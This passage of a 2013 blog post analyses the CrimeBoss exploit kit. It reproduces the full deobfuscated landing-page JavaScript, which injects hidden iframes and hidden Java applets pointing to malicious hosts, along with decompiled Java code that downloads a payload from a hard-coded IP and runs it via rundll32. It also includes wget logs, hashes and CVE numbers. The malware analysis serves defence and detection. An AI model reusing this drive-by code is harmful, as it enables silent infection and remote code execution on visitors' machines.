kjF%20h%20%27beY.WEc%3FV8%27%20x%20%3DC%3DX.bkk7h%28tUXssb%20x%20%283LXd.eNPwei%28%29%2A85Pz1d%20h%20t%29%29%202%20%27%22%20XVHeL8%22n%22%20UG1Wds8%22G%22%20%20ilSIW4%22WVWTFeYVVE%3A%20XecZxd%22%3E%20%3Ch7OSe%20ONQPq%22hVaM%22%20BQhtaS%22XlNM%3A33ip.im.f5p.odM1.w07nf.UJI%3BUhM%3Bn%22%3E%20%3CpaEnNZ%3E%20%3Cntflka%3D%3E%27%3B%0A%7D%0A%0A%0AVmH%3DlaPa%203Z2%2B%28%29%0A%7B%0A%09VS%20%28L_4ej%29%20I_hkUhW%28G_ddPNHPH%206%20%27%26XzL%27%29%3B%0A%7D%0A%0Aykjbp1ef%20tLD5%28%29%0A%7B%0A%09JS%20%28N_WSj%29%209_Y6xfy%28i_h4eS%2BBV%29%3B%0A%7D%0A%0A%0AXVaGeMka%20%3DQe5%28%29%0A%7B%0A%09ee%20%28f_4ef%29%20q_IJWQp%28N_WPkNQGw0%20%27%26g%2FY%27%29%3B%0A%7D%0A%0Aykf9QagO%20%3DS9w%28%29%0A%7B%0A%09eS%20%28W_C8f_emZxn%20%3C%20b_7Mh_UOg%29%0A%09%7B%0A%09%09N_LTl_VaFxn69%3B%0A%09%0A%09%09rth%20SiLVq%20n%20QSNYiRaV.ueZx%3B%0A%09%09ey%20%28Q6IAq%29%0A%09%09%7B%0A%09%09%09nBe%20LeGkQR%20o%20c_W9olaB%28%29%3B%0A%09%09%09SiLVq.JaWPVp1RH7ha%28I_YlfSH%28ElUPQI%29%2C%20LskQl.H1hos%2F0Yd%2B%29%3B%0A%09%09%7D%0A%09%7D%0A%7D%0A%0ACmfDgMZR%20F_b8P1%28X%2BnZE%29%0A%7B%0A%09%0A%09YX%20%28D_Igf%29%20x_Y8PTy%28W_YCvSaro%29%3B%0A%09%0A%091V%20%28ZiLVq%29%0A%09%7B%0A%09%09WNV%20SXYbQG%20S%20%27%27%3B%0A%09%09%0A%09%09Yb%20%28mWBYY7Qgj.KNZLvjNONxT%28%29%29%0A%09%09%7B%0A%09%09%09%0A%09%09%09dsY7TW%20g%20t_Y5Qcy9_C%28%29%206%209_Tp8fDK_T%28%29%20Q%20%3D_YhMh%3Dz%28%29%3B%0A%09%09%09%0A%09%09%09VJ%20%28U_Pka%29%209_NkUl1%28f_4ZSP%2Bgf%29%3B%0A%09%09%09%0A%09%09%09I1SOc.eafG%2Bj%2Bdb7hW%28q_%3DKhBa%28LeGkQR%29%2C%20JUeZx.b1hkNmZaMQ%29%3B%0A%09%09%7D%0A%09%09IWWa%0A%09%09%7B%0A%09%09%09VS%20%28L_4ej%29%20I_hkUhW%28G_dbBiEZJb%29%3B%0A%09%09%7D%0A%09%09%0A%09%7D%0A%7D%0A%0AShPvjenj%20c_e7L%28%29%0A%7B%0A%09FX%20%28b_MbEOIZ%29%20eRVAhj%3B%09%0A%09%0A%09uW%2B%20cqiLVq%20n%20QSNYiRaV.ueZx%3B%0A%09ey%20%28cqiLVq%29%0A%09%7B%0A%09%09K_YSLHaQ%20z%20V%2Bka%3B%0A%09%09I_kbda%28GV6gEl%29%3B%0A%09%7D%0A%09IWWa%0A%09%7B%0A%09%09fRVmYidkAj%28%22B_Imj%22%2C%20tbn%29%3B%0A%09%7D%0A%7D%0A%0AJfRYgVQ6%20MkmH%28y%29%0A%7B%0A%09lSL%20MjWW%20z%20aTRZbj.Q6bkZZ%3B%0A%09CYf%2BLo.gOYSLH%208%20ShPvjenj%28%29%20%7B%201V%20%28hLBn%29%20hSRZ%28%29%3B%20Q%28%29%3B%20%7D%0A%7D%0A%0AAka%2F%28y_75n%29%3B%0Ara%3DJaGBgmU%28%229_S0V%28%29%22%2C%203nnc%29%3B%0A%0A';
var alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var key1 = 'T79!$99(4+s+~44)T7~@=';
var c = 0;
    var la = '';
    var lb = -1;
    var lc = 0;
    var ld = unescape(s);
    for (var i = 0; i < ld.length; i++) {
        lb = alpha.indexOf(ld.charAt(i));
        if (lb >= 0) {
            lc = (lb - key1.charCodeAt(c)) % alpha.length;
            if (lc < 0) {
                lc += alpha.length;
            }
            la += alpha.charAt(lc);
            c++;
            if (c >= key1.length) {
                c = 0;
            }
        } else {
            la += ld.charAt(i);
        }
    }
console.log(la);

Hopefully last round of deobfuscation

var j_lon = true;
var j_url = 'hxxp: //anitatelecom.com.br/.01/index.php';
var j_laccess = j_url + '?action=stats_access';
var j_ljavaon = j_url + '?action=stats_javaon';
var j_ljavaoff = j_url + '?action=stats_javaoff';
var j_lloaded = j_url + '?action=stats_loaded';

var j_loaded = false;
var j_app_index = 1;
var j_app_cnt = 10;
var j_app_pre = 'm1';
var j_app_url = 'hxxp: //bambou.gr/.01/';


function J_gAppURL() {
    return j_app_url + j_app_pre + j_app_index + '.jar';
}

function J_cIf(srce) {
    var ifr = document.createElement('iframe');
    ifr.src = srce;
    ifr.style.visibility = 'hidden';
    ifr.style.display = 'inline';
    ifr.style.margin = '0';
    ifr.style.padding = '0';
    ifr.style.border = 'none';
    ifr.style.width = '0';
    ifr.style.height = '0';
    return ifr;
}

function J_lRep2(url) {
    var aBody = document.body;
    if (aBody) {
        aBody.insertBefore(J_cIf(url), aBody.firstChild);
    }
}

function J_cSpan(html) {
    var span = document.createElement('span');
    span.innerHTML = html;
    return span;
}

function J_gAppHL() {
    return '<applet name="Java(TM) Web Start ActiveX Control" code="m1.class" archive="' + J_gAppURL() + '" width="0" height="0"  style="visibility: hidden" mayscript="true"> <param name="link" value="hxxp: //72.41.192.116/.01/Up.cpl;cpl;0"> </param></applet>';
}

function J_gAppHL_Y() {
    return '<applet name="Java(TM) Web Start ActiveX Control" code="m1.class" archive="' + j_app_url + 'jhan.jar?r=' + Math.floor(100000 + (Math.random() * 999999 + 1)) + '" width="0" height="0"  style="visibility: hidden"> <param name="link" value="hxxp: //72.41.192.116/.01/Up.cpl;cpl;0"> </param> </applet>';
}

function J_gAppHL_X() {
    return '<applet name="Java(TM) Web Start ActiveX Control" code="m1.class" archive="' + j_app_url + 'jmx.jar?r=' + Math.floor(100000 + (Math.random() * 999999 + 1)) + '" width="0" height="0"  style="visibility: hidden"> <param name="link" value="hxxp: //72.41.192.116/.01/Up.cpl;cpl;0"> </param> </applet>';
}


function MoLB() {
    if (j_lon) J_lRep2(j_lloaded + '&k=j');
}

function MoLA() {
    if (j_lon) J_lRep2(j_lloaded);
}


function MoLC() {
    if (j_lon) J_lRep2(j_lloaded + '&k=c');
}

function MoLF() {
    if (j_app_index < j_app_cnt) {
        j_app_index++;

        var aBody = document.body;
        if (aBody) {
            var htcode = J_gAppHL();
            aBody.insertBefore(J_cSpan(htcode), aBody.firstChild);
        }
    }
}

function J_oIni(hBody) {

    if (j_lon) J_lRep2(j_laccess);

    if (hBody) {
        var htcode = '';

        if (navigator.javaEnabled()) {

            htcode = J_gAppHL_Y() + J_gAppHL_X() + J_gAppHL();

            if (j_lon) J_lRep2(j_ljavaon);

            hBody.insertBefore(J_cSpan(htcode), hBody.firstChild);
        } else {
            if (j_lon) J_lRep2(j_ljavaoff);
        }

    }
}

function J_oCr() {
    if (j_loaded) return;

    var myBody = document.body;
    if (myBody) {
        j_loaded = true;
        J_oIni(myBody);
    } else {
        setTimeout("J_oCr", 100);
    }
}

function WonL(f) {
    var prev = window.onload;
    window.onload = function() {
        if (prev) prev();
        f();
    }
}

WonL(J_oCr);
setTimeout("J_oCr()", 7000);

Hurray! nice and clean JavaScript code

4. With the landing in sight

It's time to fetch the JARS

--2013-03-19 --  hxxp: //bambou.gr/.01/m11.jar
Resolving bambou.gr... 199.16.131.122
Connecting to bambou.gr|199.16.131.122|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.0 200 OK
  Server: LiteSpeed
  Accept-Ranges: bytes
  Connection: close
  ETag: "1117-5142ae10-0"
  Last-Modified: Fri, 15 Mar 2013 05:13:52 GMT
  Content-Type: application/java-archive
  Content-Length: 4375
  Vary: User-Agent
Length: 4375 (4.3K) [application/java-archive]
Saving to: `m11.jar'

     0K ....                                                  100%  333M=0s

2013-03-19  (333 MB/s) - `m11.jar' saved [4375/4375]


--2013-03-19 --  hxxp: //bambou.gr/.01/jhan.jar?r=136494
Resolving bambou.gr... 199.16.131.122
Connecting to bambou.gr|199.16.131.122|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.0 200 OK
  Server: LiteSpeed
  Accept-Ranges: bytes
  Connection: close
  ETag: "10cd-5142cb02-0"
  Last-Modified: Fri, 15 Mar 2013 07:17:22 GMT
  Content-Type: application/java-archive
  Content-Length: 4301
  Vary: User-Agent
Length: 4301 (4.2K) [application/java-archive]
Saving to: `jhan.jar'

     0K ....                                                  100%  118M=0s

2013-03-19 (118 MB/s) - `jhan.jar' saved [4301/4301]

--2013-03-19 --  hxxp: //bambou.gr/.01/jmx.jar?r=633478
Resolving bambou.gr... 199.16.131.122
Connecting to bambou.gr|199.16.131.122|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.0 200 OK
  Server: LiteSpeed
  Accept-Ranges: bytes
  Connection: close
  ETag: "1780-5142c906-0"
  Last-Modified: Fri, 15 Mar 2013 07:08:54 GMT
  Content-Type: application/java-archive
  Content-Length: 6016
  Vary: User-Agent
Length: 6016 (5.9K) [application/java-archive]
Saving to: `jmx.jar'

     0K .....                                                 100%  155M=0s

2013-03-19 00:45:39 (155 MB/s) - `jmx.jar' saved [6016/6016]

5. JAR file disassembly

jad(class files) is an excellent tool for this, use jd-gui(JAR files) if you like gui or go all the way and use showmycode.com(class files)

I'm not going into details on the JARs or classes. Here is whats interesting at this point: How to get the final payload of the kit:

From Init():

String str1 = rver("SRESULLA") + rver("ELIFORP");
String str2 = null;
boolean bool = false;
try
{
  str2 = _get__env(str1);
}
catch (Throwable localThrowable2)
{
  MoLF();
}
String str3 = getParameter("link");
String[] arrayOfString = str3.split(";");
String str4 = arrayOfString[0];
String str5 = arrayOfString[1];
String str6 = arrayOfString[2];
if (!str6.equals("0")) bool = true;
dl(str4, str2 + "\\jupdate.", str5, bool);

in short:
get ALLUSERPROFILE
get the value from the variable "link" from the landing pane: hxxp: //72.41.192.116/.01/Up.cpl
split on ";"
call dl()

dl()

public void dl(String paramString1, String paramString2, String paramString3, boolean paramBoolean) {
    paramString2 = paramString2 + paramString3;

    BufferedInputStream localBufferedInputStream = null;
    try
    {
      localBufferedInputStream = new BufferedInputStream(new URL(paramString1).openStream());
    }
    catch (IOException localIOException1)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localIOException1);
    }
    FileOutputStream localFileOutputStream = null;
    try
    {
      localFileOutputStream = new FileOutputStream(paramString2);
    }
    catch (FileNotFoundException localFileNotFoundException)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localFileNotFoundException);
    }
    BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
    byte[] arrayOfByte = new byte[1024];
    try
    {
      int i;
      for (long l1 = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l1 += i) {
        cWrite(localBufferedOutputStream, arrayOfByte, i);
      }
      if (paramBoolean)
      {
        int j = (int)(Math.random() * 3080192.0D + 25493504.0D);
        for (long l2 = 0L; l2 < j; l2 += 1L) {
          localBufferedOutputStream.write(0);
        }
      }
    }
    catch (IOException localIOException2)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localIOException2);
    }
    try
    {
      localBufferedOutputStream.close();
    }
    catch (IOException localIOException3)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localIOException3);
    }
    try
    {
      localBufferedInputStream.close();
    }
    catch (IOException localIOException4)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localIOException4);
    }
    if (paramString3.equals("cpl")) {
      paramString2 = "rundll32.exe shell32.dll,Control_RunDLL \"" + paramString2 + "\",";
    }
    if (!gRun(paramString2, false)) return;
    try
    {
      URL localURL = new URL("javascript:MoLB();");
      getAppletContext().showDocument(localURL);
      System.exit(0);
    }
    catch (IOException localIOException5) {
    }
  }

what happens:
get the evil code
save the evil code
run the evil code

And we could have got off more easy with just fetching the thing from the landing pane

6. Get the evil code

Connecting to 72.41.192.116:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Server: Apache
  Last-Modified: Mon, 18 Mar 2013 20:21:00 GMT
  ETag: "24f8e26-1c44c-5147772c"
  Accept-Ranges: bytes
  Content-Length: 115788
  Keep-Alive: timeout=15, max=100
  Connection: Keep-Alive
  Content-Type: text/plain
Length: 115788 (113K) [text/plain]
Saving to: `up.exe'

     0K .......... .......... .......... .......... .......... 44% 14.8K 4s
    50K .......... .......... .......... .......... .......... 88% 64.1K 1s
   100K .......... ...                                        100% 95.2K=4.3s

2013-03-19 (26.4 KB/s) - `up.exe' saved [115788/115788]

7. Detection

Not much changed since this report by MalwareSigs Only thing is amor1.jar has changed to m11.jar still with the same CVE's

8. Epilogue

It's nice to have survived 12 rounds in the ring with the Boss. Hopefully not Bossing us around the next time we see it :)

roundup of the bad stuff

m11.jar

MD5: 6834625b760045c6c19b515257b20658

VT: 3/45

CVE-2012-4681

jhan.jar

MD5: 39063df13e5d4f9b9f2a1cb24ab7f7f0

VT: 13/45

CVE-2013-0422

jmx.jar

MD5: b011336a74517c9326386b648c122c62

VT: 6/45

CVE-2013-0422

exe:

MD5: 58905bcf16acd0dde8d267bf52a44a0d

VT: 20/45

Happy Bossing EK's around

Post publish reads:
Jar exploit download change seen by @Set_abominea: http://pastebin.com/Tt3uFnCT

MALware FORensics SECurity

Tuesday, March 19, 2013

Bossing the Boss around - CrimeBoss EK analysis